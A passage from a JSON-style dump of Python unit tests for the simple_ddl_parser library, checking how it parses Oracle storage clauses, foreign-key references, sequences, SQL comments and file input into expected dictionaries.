\"primary_key\": [],\n \"schema\": None,\n \"storage\": None,\n \"table_name\": \"employee\",\n \"tablespace\": None,\n },\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"first_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 128,\n \"type\": \"VARCHAR2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"last_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 128,\n \"type\": \"VARCHAR2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"empID\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"salary\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 6,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\"checks\": None, \"references\": None, \"uniques\": None},\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"storage\": None,\n \"table_name\": \"employee_2\",\n \"tablespace\": None,\n },\n ],\n \"types\": [],\n \"ddl_properties\": [],\n }\n assert expected == result\n\n\ndef test_storage():\n expected = {\n \"sequences\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"empno\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"Number\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"ename\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 100,\n \"type\": \"Varchar2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"sal\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"Number\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"photo\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"Blob\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\"checks\": None, \"references\": None, \"uniques\": None},\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"storage\": {\"initial\": \"5m\", \"maxextents\": \"Unlimited\", \"next\": \"5m\"},\n \"table_name\": \"emp_table\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n \"ddl_properties\": [],\n }\n ddl = \"\"\"\n\nCreate Table emp_table (\nempno Number,\nename Varchar2(100),\nsal Number,\nphoto Blob\n)\nStorage ( Initial 5m Next 5m Maxextents Unlimited )\n\"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"oracle\")\n assert expected == result\n\n\ndef test_partition_by():\n ddl = \"\"\"\nCREATE TABLE order_items\n ( order_id NUMBER(12) NOT NULL,\n line_item_id NUMBER(3) NOT NULL,\n product_id NUMBER(6) NOT NULL,\n unit_price NUMBER(8,2),\n quantity NUMBER(8),\n CONSTRAINT order_items_fk\n FOREIGN KEY(order_id) REFERENCES orders(order_id)\n )\n PARTITION BY REFERENCE(order_items_fk);\n\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"domains\": [],\n \"ddl_properties\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"order_id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 12,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"line_item_id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 3,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"product_id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 6,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"unit_price\",\n \"nullable\": True,\n \"references\": None,\n \"size\": (8, 2),\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"quantity\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 8,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\n \"references\": [\n {\n \"columns\": [\"order_id\"],\n \"constraint_name\": \"order_items_fk\",\n \"deferrable_initially\": None,\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"orders\",\n }\n ]\n },\n \"index\": [],\n \"partition_by\": {\"columns\": [\"order_items_fk\"], \"type\": \"REFERENCE\"},\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"table_name\": \"order_items\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n", "id": "8083550", "language": "Python", "matching_score": 4.064727783203125, "max_stars_count": 46, "path": "tests/test_oracle.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_references_on():\n expected = [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"product_no\",\n \"nullable\": False,\n \"references\": {\n \"column\": None,\n \"on_delete\": \"RESTRICT\",\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"products\",\n \"deferrable_initially\": None,\n },\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"order_id\",\n \"nullable\": False,\n \"references\": {\n \"column\": None,\n \"on_delete\": \"CASCADE\",\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"orders\",\n \"deferrable_initially\": None,\n },\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"type\",\n \"nullable\": True,\n \"references\": {\n \"column\": \"type_id\",\n \"on_delete\": \"RESTRICT\",\n \"on_update\": \"CASCADE\",\n \"schema\": None,\n \"table\": \"types\",\n \"deferrable_initially\": None,\n },\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"product_no\", \"order_id\"],\n \"schema\": None,\n \"table_name\": \"order_items\",\n \"tablespace\": None,\n }\n ]\n\n ddl = \"\"\"\n CREATE TABLE order_items (\n product_no integer REFERENCES products ON DELETE RESTRICT,\n order_id integer REFERENCES orders ON DELETE CASCADE,\n type integer REFERENCES types (type_id) ON UPDATE CASCADE ON DELETE RESTRICT,\n PRIMARY KEY (product_no, order_id)\n );\n \"\"\"\n\n result = DDLParser(ddl).run()\n\n assert expected == result\n\n\ndef test_references():\n ddl = \"\"\"\n CREATE table users_events(\n event_id varchar not null REFERENCES events (id),\n user_id varchar not null REFERENCES users (id),\n ) ;\n \"\"\"\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"event_id\",\n \"type\": \"varchar\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": {\n \"table\": \"events\",\n \"schema\": None,\n \"column\": \"id\",\n \"on_delete\": None,\n \"on_update\": None,\n \"deferrable_initially\": None,\n },\n },\n {\n \"name\": \"user_id\",\n \"type\": \"varchar\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": {\n \"table\": \"users\",\n \"schema\": None,\n \"column\": \"id\",\n \"on_delete\": None,\n \"on_update\": None,\n \"deferrable_initially\": None,\n },\n },\n ],\n \"primary_key\": [],\n \"index\": [],\n \"table_name\": \"users_events\",\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n \"alter\": {},\n \"checks\": [],\n }\n ]\n assert expected == DDLParser(ddl).run()\n\n\ndef test_references_with_schema():\n ddl = \"\"\"\n create table prod.super_table\n (\n data_sync_id bigint not null default 0,\n id_ref_from_another_table int REFERENCES other_schema.other_table (id),\n primary key (data_sync_id)\n );\n\n \"\"\"\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"data_sync_id\",\n \"type\": \"bigint\",\n \"size\": None,\n \"nullable\": False,\n \"default\": 0,\n \"references\": None,\n \"unique\": False,\n \"check\": None,\n },\n {\n \"name\": \"id_ref_from_another_table\",\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": {\n \"schema\": \"other_schema\",\n \"column\": \"id\",\n \"table\": \"other_table\",\n \"on_delete\": None,\n \"on_update\": None,\n \"deferrable_initially\": None,\n },\n },\n ],\n \"primary_key\": [\"data_sync_id\"],\n \"index\": [],\n \"table_name\": \"super_table\",\n \"tablespace\": None,\n \"schema\": \"prod\",\n \"partitioned_by\": [],\n \"alter\": {},\n \"checks\": [],\n }\n ]\n\n parse_results = DDLParser(ddl).run()\n\n assert expected == parse_results\n\n\ndef test_ref_in_alter():\n\n ddl = \"\"\"\n\n create table ChildTableName(\n parentTable varchar\n );\n ALTER TABLE ChildTableName\n ADD CONSTRAINT \"fk_t1_t2_tt\"\n FOREIGN KEY (\"parentTable\")\n REFERENCES parentTable (\"columnName\")\n ON DELETE CASCADE\n ON UPDATE CASCADE;\n \"\"\"\n\n result = DDLParser(ddl).run()\n expected = [\n {\n \"alter\": {\n \"columns\": [\n {\n \"constraint_name\": '\"fk_t1_t2_tt\"',\n \"name\": '\"parentTable\"',\n \"references\": {\n \"column\": '\"columnName\"',\n \"on_delete\": \"CASCADE\",\n \"on_update\": \"CASCADE\",\n \"deferrable_initially\": None,\n \"schema\": None,\n \"table\": \"parentTable\",\n },\n }\n ]\n },\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"parentTable\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"varchar\",\n \"unique\": False,\n }\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"table_name\": \"ChildTableName\",\n \"tablespace\": None,\n }\n ]\n assert expected == result\n\n\ndef test_defferable_initially():\n ddl = \"\"\"\n\n CREATE TABLE child (\n id int PRIMARY KEY,\n parent_id int REFERENCES parent\n DEFERRABLE INITIALLY IMMEDIATE,\n name text\n )\n \"\"\"\n\n result = DDLParser(ddl).run()\n expected = [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"parent_id\",\n \"nullable\": True,\n \"references\": {\n \"column\": None,\n \"deferrable_initially\": \"IMMEDIATE\",\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"parent\",\n },\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"text\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"child\",\n \"tablespace\": None,\n }\n ]\n assert expected == result\n\n\ndef test_deferrable_initially_not():\n\n ddl = \"\"\"\n\n CREATE TABLE child (\n id int PRIMARY KEY,\n parent_id int REFERENCES parent\n NOT DEFERRABLE,\n name text\n )\n \"\"\"\n\n result = DDLParser(ddl).run()\n expected = [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"parent_id\",\n \"nullable\": True,\n \"references\": {\n \"column\": None,\n \"deferrable_initially\": \"NOT\",\n \"on_delete\": None,\n \"on_update\": None,\n \"schema\": None,\n \"table\": \"parent\",\n },\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"text\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"child\",\n \"tablespace\": None,\n }\n ]\n assert expected == result\n", "id": "8052601", "language": "Python", "matching_score": 2.0098559856414795, "max_stars_count": 46, "path": "tests/test_references.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_only_sequence():\n parse_results = DDLParser(\n \"\"\"\n\n CREATE SEQUENCE dev.incremental_ids\n INCREMENT 1\n START 1\n MINVALUE 1\n MAXVALUE 9223372036854775807\n CACHE 1;\n \"\"\"\n ).run()\n expected = [\n {\n \"schema\": \"dev\",\n \"sequence_name\": \"incremental_ids\",\n \"increment\": 1,\n \"start\": 1,\n \"minvalue\": 1,\n \"maxvalue\": 9223372036854775807,\n \"cache\": 1,\n }\n ]\n assert expected == parse_results\n\n\ndef test_sequence_and_table():\n parse_results = DDLParser(\n \"\"\"\n\n CREATE SEQUENCE dev.incremental_ids\n INCREMENT 10\n START 0\n MINVALUE 0\n MAXVALUE 9223372036854775807\n CACHE 1;\n\n CREATE TABLE \"countries\" (\n \"id\" int PRIMARY KEY,\n \"code\" varchar(4) NOT NULL,\n \"name\" varchar NOT NULL\n );\n \"\"\"\n ).run()\n expected = [\n {\n \"schema\": \"dev\",\n \"sequence_name\": \"incremental_ids\",\n \"increment\": 10,\n \"start\": 0,\n \"minvalue\": 0,\n \"maxvalue\": 9223372036854775807,\n \"cache\": 1,\n },\n {\n \"columns\": [\n {\n \"name\": '\"id\"',\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": '\"code\"',\n \"type\": \"varchar\",\n \"size\": 4,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": '\"name\"',\n \"type\": \"varchar\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": ['\"id\"'],\n \"index\": [],\n \"alter\": {},\n \"checks\": [],\n \"table_name\": '\"countries\"',\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n },\n ]\n assert expected == parse_results\n\n\ndef test_sequence_with_by():\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [\n {\n \"AS\": \"[bigint]\",\n \"cache\": True,\n \"increment_by\": 1,\n \"minvalue\": 1,\n \"schema\": \"[dbo]\",\n \"sequence_name\": \"[sqCdSLIPEvt]\",\n \"start_with\": 1,\n }\n ],\n \"tables\": [],\n \"types\": [],\n }\n\n ddl = \"\"\"\n CREATE SEQUENCE [dbo].[sqCdSLIPEvt]\n AS [bigint]\n START WITH 1\n INCREMENT BY 1\n MINVALUE 1\n CACHE\n GO\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n assert expected == result\n\n\ndef test_add_support_no_value():\n\n ddl = \"\"\"\n CREATE SEQUENCE public.accounts_user_id_seq\n AS integer\n START WITH 1\n INCREMENT BY 1\n NO MINVALUE\n NO MAXVALUE\n CACHE 1;\n\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"bigquery\")\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [\n {\n \"AS\": \"integer\",\n \"cache\": 1,\n \"dataset\": \"public\",\n \"increment_by\": 1,\n \"maxvalue\": False,\n \"minvalue\": False,\n \"sequence_name\": \"accounts_user_id_seq\",\n \"start_with\": 1,\n }\n ],\n \"tables\": [],\n \"types\": [],\n }\n assert expected == result\n", "id": "891526", "language": "Python", "matching_score": 2.0214805603027344, "max_stars_count": 46, "path": "tests/test_sequences.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_json_dump_arg():\n ddl = \"\"\"\n CREATE TABLE list_bucket_single (key STRING, value STRING)\n SKEWED BY (key) ON (1,5,6) STORED AS DIRECTORIES;\n \"\"\"\n parse_results = DDLParser(ddl).run(output_mode=\"hql\", json_dump=True)\n expected = (\n '[{\"columns\": [{\"name\": \"key\", \"type\": \"STRING\", \"size\": null, \"references\": null, '\n '\"unique\": false, \"nullable\": true, \"default\": null, \"check\": null}, {\"name\": \"value\", '\n '\"type\": \"STRING\", \"size\": null, \"references\": null, \"unique\": false, \"nullable\": true, '\n '\"default\": null, \"check\": null}], \"primary_key\": [], \"alter\": {}, \"checks\": [], \"index\": [], '\n '\"partitioned_by\": [], \"tablespace\": null, \"stored_as\": \"DIRECTORIES\", \"location\": null, \"comment\":'\n ' null, \"row_format\": null, \"fields_terminated_by\": null, \"lines_terminated_by\": null,'\n ' \"map_keys_terminated_by\": null, \"collection_items_terminated_by\": null, \"external\": false,'\n ' \"schema\": null, \"table_name\": \"list_bucket_single\", '\n '\"skewed_by\": {\"key\": \"key\", \"on\": [\"1\", \"5\", \"6\"]}}]'\n )\n assert parse_results == expected\n", "id": "12831293", "language": "Python", "matching_score": 1.7636315822601318, "max_stars_count": 46, "path": "tests/non_statement_tests/test_args.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_inline_comment():\n parse_result = DDLParser(\n \"\"\"\n drop table if exists user_history ;\n CREATE table user_history (\n runid decimal(21) not null\n ,job_id decimal(21) not null\n ,id varchar(100) not null -- group_id or role_id\n ,user varchar(100) not null\n ,status varchar(10) not null\n ,event_time timestamp not null default now()\n ,comment varchar(1000) not null default 'none'\n ) ;\n\"\"\"\n ).run()\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"runid\",\n \"type\": \"decimal\",\n \"size\": 21,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"job_id\",\n \"type\": \"decimal\",\n \"size\": 21,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"id\",\n \"type\": \"varchar\",\n \"size\": 100,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"user\",\n \"type\": \"varchar\",\n \"size\": 100,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"status\",\n \"type\": \"varchar\",\n \"size\": 10,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"event_time\",\n \"type\": \"timestamp\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": \"now()\",\n \"check\": None,\n },\n {\n \"name\": \"comment\",\n \"type\": \"varchar\",\n \"size\": 1000,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": \"'none'\",\n \"check\": None,\n },\n ],\n \"primary_key\": [],\n \"alter\": {},\n \"checks\": [],\n \"index\": [],\n \"schema\": None,\n \"partitioned_by\": [],\n \"table_name\": \"user_history\",\n \"tablespace\": None,\n },\n {\"comments\": [\" group_id or role_id\"]},\n ]\n assert expected == parse_result\n\n\ndef test_block_comments():\n ddl = \"\"\"\n /* outer comment start\n bla bla bla\n /* inner comment */\n select a from b\n\n outer comment end */\n create table A(/*\n inner comment2 */\n data_sync_id bigint not null ,\n sync_start timestamp not null,\n sync_end timestamp not null,\n message varchar(2000),\n primary key (data_sync_id, sync_start, sync_end, message)\n );\n \"\"\"\n parse_result = DDLParser(ddl).run()\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"data_sync_id\",\n \"type\": \"bigint\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"sync_start\",\n \"type\": \"timestamp\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"sync_end\",\n \"type\": \"timestamp\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"message\",\n \"type\": \"varchar\",\n \"size\": 2000,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": [\"data_sync_id\", \"sync_start\", \"sync_end\", \"message\"],\n \"alter\": {},\n \"checks\": [],\n \"index\": [],\n \"schema\": None,\n \"partitioned_by\": [],\n \"table_name\": \"A\",\n \"tablespace\": None,\n },\n {\"comments\": [\" outer comment start\", \" inner comment */\"]},\n ]\n assert expected == parse_result\n\n\ndef test_mysql_comments_support():\n ddl = \"\"\"\n # this is mysql comment1\n /* outer comment start\n bla bla bla\n /* inner comment */\n select a from b\n\n outer comment end */\n create table A(/*\n inner comment2 */\n data_sync_id bigint not null ,\n sync_start timestamp not null,\n sync_end timestamp not null,\n # this is mysql comment2\n message varchar(2000),\n primary key (data_sync_id, sync_start, sync_end, message)\n );\n \"\"\"\n parse_result = DDLParser(ddl).run()\n expected = [\n {\n \"columns\": [\n {\n \"name\": \"data_sync_id\",\n \"type\": \"bigint\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"sync_start\",\n \"type\": \"timestamp\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"sync_end\",\n \"type\": \"timestamp\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": \"message\",\n \"type\": \"varchar\",\n \"size\": 2000,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": [\"data_sync_id\", \"sync_start\", \"sync_end\", \"message\"],\n \"alter\": {},\n \"checks\": [],\n \"index\": [],\n \"schema\": None,\n \"partitioned_by\": [],\n \"table_name\": \"A\",\n \"tablespace\": None,\n },\n {\"comments\": [\" outer comment start\", \" inner comment */\"]},\n ]\n assert expected == parse_result\n\n\ndef test_two_defices_in_string_work_ok():\n\n ddl = \"\"\"\n CREATE TABLE \"my--custom--schema\".\"users\" (\n \"id\" SERIAL PRIMARY KEY,\n \"name\" varchar,\n \"created_at\" timestamp,\n \"updated_at\" timestamp,\n \"country_code\" int,\n \"default_language\" int\n );\n \"\"\"\n parse_result = DDLParser(ddl).run()\n\n expected = [\n {\n \"columns\": [\n {\n \"name\": '\"id\"',\n \"type\": \"SERIAL\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": '\"name\"',\n \"type\": \"varchar\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": '\"created_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": '\"updated_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": '\"country_code\"',\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n {\n \"name\": '\"default_language\"',\n \"type\": \"int\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n },\n ],\n \"primary_key\": ['\"id\"'],\n \"alter\": {},\n \"checks\": [],\n \"index\": [],\n \"schema\": '\"my--custom--schema\"',\n \"partitioned_by\": [],\n \"table_name\": '\"users\"',\n \"tablespace\": None,\n }\n ]\n assert expected == parse_result\n", "id": "6331982", "language": "Python", "matching_score": 2.96347975730896, "max_stars_count": 46, "path": "tests/test_comments.py" }, { "content": "import os\n\nfrom simple_ddl_parser import parse_from_file\n\n\ndef test_parse_from_file_one_table():\n expected = [\n {\n \"columns\": [\n {\n \"name\": '\"id\"',\n \"type\": \"SERIAL\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"name\"',\n \"type\": \"varchar\",\n \"size\": 160,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"created_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"updated_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"country_code\"',\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"default_language\"',\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n ],\n \"primary_key\": ['\"id\"'],\n \"index\": [],\n \"table_name\": '\"users\"',\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n \"alter\": {},\n \"checks\": [],\n }\n ]\n current_path = os.path.dirname(os.path.abspath(__file__))\n assert expected == parse_from_file(\n os.path.join(current_path, \"sql\", \"test_one_table.sql\")\n )\n\n\ndef test_parse_from_file_two_statements():\n expected = [\n {\n \"columns\": [\n {\n \"name\": '\"id\"',\n \"type\": \"SERIAL\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"name\"',\n \"type\": \"varchar\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"created_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"updated_at\"',\n \"type\": \"timestamp\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"country_code\"',\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"default_language\"',\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": True,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n ],\n \"primary_key\": ['\"id\"'],\n \"index\": [],\n \"table_name\": '\"users\"',\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n \"alter\": {},\n \"checks\": [],\n },\n {\n \"columns\": [\n {\n \"name\": '\"id\"',\n \"type\": \"int\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"code\"',\n \"type\": \"varchar\",\n \"size\": 2,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n {\n \"name\": '\"name\"',\n \"type\": \"varchar\",\n \"size\": None,\n \"nullable\": False,\n \"default\": None,\n \"check\": None,\n \"unique\": False,\n \"references\": None,\n },\n ],\n \"primary_key\": ['\"id\"'],\n \"index\": [],\n \"table_name\": '\"languages\"',\n \"tablespace\": None,\n \"schema\": None,\n \"partitioned_by\": [],\n \"alter\": {},\n \"checks\": [],\n },\n ]\n current_path = os.path.dirname(os.path.abspath(__file__))\n assert expected == parse_from_file(\n os.path.join(current_path, \"sql\", \"test_two_tables.sql\")\n )\n", "id": "847240", "language": "Python", "matching_score": 2.7022085189819336, "max_stars_count": 46, "path": "tests/test_read_from_file.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_simple_on_update():\n ddl = \"\"\"CREATE TABLE t1 (\n ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,\n dt DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP);\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"tables\": [\n {\n \"columns\": [\n {\n \"name\": \"ts\",\n \"type\": \"TIMESTAMP\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": \"CURRENT_TIMESTAMP\",\n \"check\": None,\n \"on_update\": \"CURRENT_TIMESTAMP\",\n },\n {\n \"name\": \"dt\",\n \"type\": \"DATETIME\",\n \"size\": None,\n \"references\": None,\n \"unique\": False,\n \"nullable\": True,\n \"default\": \"CURRENT_TIMESTAMP\",\n \"check\": None,\n \"on_update\": \"CURRENT_TIMESTAMP\",\n },\n ],\n 